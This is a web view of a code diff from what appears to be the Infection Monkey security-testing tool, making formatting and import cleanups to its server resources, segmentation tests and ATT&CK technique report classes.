Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example])
|
||||
|
||||
self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 1)
|
||||
self.assertEqual(len(Finding.objects(status=STATUS_FAILED)), 1)
|
||||
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
|
||||
self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
|
||||
import common.data.zero_trust_consts as zero_trust_consts
|
||||
from monkey_island.cc.models.zero_trust.event import Event
|
||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||
from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
|
||||
|
@ -12,11 +12,11 @@ class TestSegmentationFinding(IslandTestCase):
|
|||
first_segment = "1.1.1.0/24"
|
||||
second_segment = "2.2.2.0-2.2.2.254"
|
||||
third_segment = "3.3.3.3"
|
||||
event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK)
|
||||
event = Event.create_event("bla", "bla", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
|
||||
|
||||
SegmentationFinding.create_or_add_to_existing_finding(
|
||||
subnets=[first_segment, second_segment],
|
||||
status=STATUS_FAILED,
|
||||
status=zero_trust_consts.STATUS_FAILED,
|
||||
segmentation_event=event
|
||||
)
|
||||
|
||||
|
@ -26,7 +26,7 @@ class TestSegmentationFinding(IslandTestCase):
|
|||
SegmentationFinding.create_or_add_to_existing_finding(
|
||||
# !!! REVERSE ORDER
|
||||
subnets=[second_segment, first_segment],
|
||||
status=STATUS_FAILED,
|
||||
status=zero_trust_consts.STATUS_FAILED,
|
||||
segmentation_event=event
|
||||
)
|
||||
|
||||
|
@ -36,7 +36,7 @@ class TestSegmentationFinding(IslandTestCase):
|
|||
SegmentationFinding.create_or_add_to_existing_finding(
|
||||
# !!! REVERSE ORDER
|
||||
subnets=[first_segment, third_segment],
|
||||
status=STATUS_FAILED,
|
||||
status=zero_trust_consts.STATUS_FAILED,
|
||||
segmentation_event=event
|
||||
)
|
||||
|
||||
|
@ -45,7 +45,7 @@ class TestSegmentationFinding(IslandTestCase):
|
|||
SegmentationFinding.create_or_add_to_existing_finding(
|
||||
# !!! REVERSE ORDER
|
||||
subnets=[second_segment, third_segment],
|
||||
status=STATUS_FAILED,
|
||||
status=zero_trust_consts.STATUS_FAILED,
|
||||
segmentation_event=event
|
||||
)
|
||||
|
||||
|
|
|
@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
|
|||
AttackConfig.update_config({'properties': json.loads(request.data)})
|
||||
AttackConfig.apply_to_monkey_config()
|
||||
return {}
|
||||
|
||||
|
|
|
@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
|||
__author__ = 'Barak'
|
||||
|
||||
import logging
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
|
|
@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
|
|||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
||||
# TODO: separate logic from interface
|
||||
|
||||
|
||||
|
|
|
@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
|
|||
"nodes": monkeys + nodes + monkey_island,
|
||||
"edges": edges
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
|
|||
"""
|
||||
File download endpoint used by monkey to download user's PBA file
|
||||
"""
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(GET_FILE_DIR, path)
|
||||
|
|
|
@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
|
|||
"""
|
||||
File upload endpoint used to exchange files with filepond component on the front-end
|
||||
"""
|
||||
|
||||
@jwt_required()
|
||||
def get(self, file_type):
|
||||
"""
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
import http.client
|
||||
|
||||
|
||||
import flask_restful
|
||||
from flask import jsonify
|
||||
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
from datetime import datetime
|
||||
import logging
|
||||
import threading
|
||||
from datetime import datetime
|
||||
|
||||
import flask_restful
|
||||
from flask import request, make_response, jsonify
|
||||
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.database import Database
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.reporting.report import ReportService
|
||||
from monkey_island.cc.services.attack.attack_report import AttackReportService
|
||||
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports
|
||||
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \
|
||||
safe_generate_reports
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.services.database import Database
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
|
|
@ -22,8 +22,7 @@ class TelemetryFeed(flask_restful.Resource):
|
|||
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
|
||||
telemetries = mongo.db.telemetry.find({})
|
||||
else:
|
||||
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
|
||||
|
||||
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})
|
||||
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
|
||||
|
||||
try:
|
||||
|
|
|
@ -2,7 +2,6 @@ from bson import json_util
|
|||
import flask_restful
|
||||
from flask import request
|
||||
|
||||
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo, database
|
||||
|
||||
|
|
|
@ -2,7 +2,6 @@ import flask_restful
|
|||
import logging
|
||||
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.version_update import VersionUpdateService
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
|
|
@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
|
|||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
TECHNIQUES = {'T1210': T1210.T1210,
|
||||
|
@ -75,7 +74,10 @@ class AttackReportService:
|
|||
Gets timestamp of latest attack telem
|
||||
:return: timestamp of latest attack telem
|
||||
"""
|
||||
return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0]
|
||||
return [
|
||||
x['timestamp'] for x in
|
||||
mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)
|
||||
][0]
|
||||
|
||||
@staticmethod
|
||||
def get_latest_report():
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1003(AttackTechnique):
|
||||
|
||||
tech_id = "T1003"
|
||||
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -5,7 +5,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1005(AttackTechnique):
|
||||
|
||||
tech_id = "T1005"
|
||||
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1016(AttackTechnique):
|
||||
|
||||
tech_id = "T1016"
|
||||
unscanned_msg = "Monkey didn't gather network configurations."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1018(AttackTechnique):
|
||||
|
||||
tech_id = "T1018"
|
||||
unscanned_msg = "Monkey didn't find any machines on the network."
|
||||
scanned_msg = ""
|
||||
|
|
|
@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
|
||||
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
|||
|
||||
|
||||
class T1041(AttackTechnique):
|
||||
|
||||
tech_id = "T1041"
|
||||
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
|
||||
scanned_msg = ""
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue